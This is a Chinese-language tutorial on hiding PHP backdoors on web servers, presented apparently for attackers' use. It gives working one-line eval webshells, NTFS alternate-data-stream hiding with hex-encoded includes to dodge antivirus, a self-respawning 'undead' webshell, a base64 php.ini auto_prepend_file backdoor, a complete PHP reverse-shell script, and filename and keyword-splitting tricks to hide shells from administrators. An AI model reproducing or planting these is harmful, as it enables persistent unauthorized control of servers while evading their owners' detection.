推荐:《php教程》
php 后门隐藏技巧
1. attrib +s +h
创建系统隐藏文件:
attrib +s +a +r +h
attrib +s +h 文件名
在 windows 10下即使开启了显示隐藏的项目,或dir仍然看不见。
2. 利用 ads 隐藏文件
ntfs交换数据流(alternate data streams,简称 ads)是 ntfs 磁盘格式的一个特性,在 ntfs文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。利用ads 数据流,我们可以做很多有趣的事情。(抄的)
首先创建 ads 隐藏文件
在命令行,echo 一个数据流进去,比如 index 文件是正常文件。
echo ^<?php @eval($_request[1]);?^> > index.php:shell.jpg
这样就生成了一个不可见的 index.php:shell.jpg
使用dir /r查看
可使用命令直接修改,要删除的话 直接删除 index.php就ok了
第二步,直接使用正常文件包含。
做一些免杀
把 index.php:shell.jpg hex 编码
<?php$a="696e6465782e7068703a7368656c6c2e6a7067";// index.php:shell.jpg hex编码$b="a";include(pack('h*',$$b))?>
3.php环境变量留shell
在c盘创建这个目录
丢个图片一句话
然后文件包含,就好。为了隐蔽可以包含图片马,txt等。
4.不死马
运行后,会删除自身,生成一个 webshell.php,管理员删除后还会生成。
<?phpset_time_limit(0);ignore_user_abort(1);unlink(__file__);while(1){file_put_contents('webshell.php','<?php @eval($_post["password"]);?>');sleep(5); }
解决覆盖重写或者重启 web 服务删掉即可。
<?phpset_time_limit(0);ignore_user_abort(1);unlink(__file__);while(1){file_put_contents('webshell.php','clear');sleep(1); }
五. php.ini后门
将下面后门写入php.ini
allow_url_include=onauto_prepend_file="data:;base64,pd9wahagqgv2ywwojf9srvfvrvnuw2ntzf0poz8+"// base64 <?php @eval($_request[cmd]);?>// 后门类型可自己修改。
这些做好后,重启 web 服务就好了。
方法1. 如果权限很大的话,自己手动重启,缺点容易暴露,重启服务,就要上服务器,某里的服务器,异地登陆有短信提醒。
方法2.就是加载一个 php_socke.php 脚本,让他重新加载 php.ini
此后门,任何php都可菜刀连接
<?php/******************************//* 只适用于windows系统 *//******************************/while(true){//别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ...@set_time_limit(0);$system=strtoupper(substr(php_os,0,3));if(!extension_loaded('sockets')) {if($system=='win'){@dl('php_sockets.dll')ordie("can't load socket");} }$host='255.255.255.255';// 搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~$port=1998;//别问我为什么是1998,问了我也不会告诉你....if($system=="win"){$env=array('path'=>'c:\\windows\\system32');}$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);$host=gethostbyname($host);$proto=getprotobyname("tcp");if(($sock=socket_create(af_inet,sock_stream,$proto))<0){die("socket创建失败");}if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}else{$message="php反弹连接\n";@socket_write($sock,$message,strlen($message));$cwd=str_replace('\\','/',dirname(__file__));while($cmd=@socket_read($sock,65535,$proto)) {if(trim(strtolower($cmd))=="exit"){socket_write($sock,"bye\n");exit;}else{$process=proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);if(is_resource($process)){fwrite($pipes[0],$cmd);fclose($pipes[0]);$msg=stream_get_contents($pipes[1]);socket_write($sock,$msg,strlen($msg));fclose($pipes[1]);$msg=stream_get_contents($pipes[2]);socket_write($sock,$msg,strlen($msg));$return_value=proc_close($process); } } } }}?>//此脚本非百分百成功
6. 关键字拆分,多文件包含!
比如一句话:@eval($_post['x']);我们可以写成$a=$_post['x'];@eval($a);
我们可以将 $a=$_post['x'];写入一个文件 post.php
然后在 @eval($a); 一句话的上方使用 include "post.php";的方式引用!
7.将真正的一句话写入数据库
当我们发现源码有个地方执行了数据库操作,那我们就可以改源码和数据库啦~
比如,修改成 eval(查出的数据);
8.以下是linux的
无意中发现的。具体看代码。
<?php$webpath = dirname(__file__)."/";file_put_contents($webpath ."guige.jpg".chr(9).".php","保存的内容(比如写个一句话)");?>
生成一个文件。
在目录下看到是显示 名字为 guige.jpg
但是 web 浏览 却发现 没有找到 guige.jpg 后来发现 需要添 guige.jpg%09.php 这样
的话就导致我们可以对后门隐藏了。。管理员看到的是.jpg 我们却可以 web 用.php 解析来
连接。。。有用的到的可以看看。
以上就是php如何隐藏后门的详细内容。
